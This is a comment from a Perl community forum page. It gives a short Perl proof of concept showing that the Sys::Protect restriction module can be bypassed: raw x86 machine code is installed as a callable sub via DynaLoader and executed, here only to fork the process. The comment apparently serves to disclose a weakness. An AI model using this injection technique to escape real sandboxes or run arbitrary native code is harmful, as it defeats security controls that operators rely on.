Stories
Slash Boxes
Comments
NOTE: use Perl; is on undef hiatus. You can read content, but you can't post it. More info will be forthcoming forthcomingly.

All the Perl that's Practical to Extract and Report

The Fine Print: The following comments are owned by whoever posted them. We are not responsible for them in any way.
 Full
 Abbreviated
 Hidden
More | Login | Reply
Loading... please wait.
  • hey, user can inject any machine code under Sys::Protect!

    use strict;
    use warnings;
    use Sys::Protect;
    use DynaLoader;

    my $s = join(
        '',
        "\x31\xc0",    # xor %eax,%eax
        "\xb0\x02",    # mov $0x2,%al
        "\xcd\x80",    # int $0x80
        "\xc3",        # ret
    );
    DynaLoader::dl_install_xsub( 'myfork', unpack( "L", pack( "P*", $s ) ) );
    &myfork;

    print "\nforked?\n";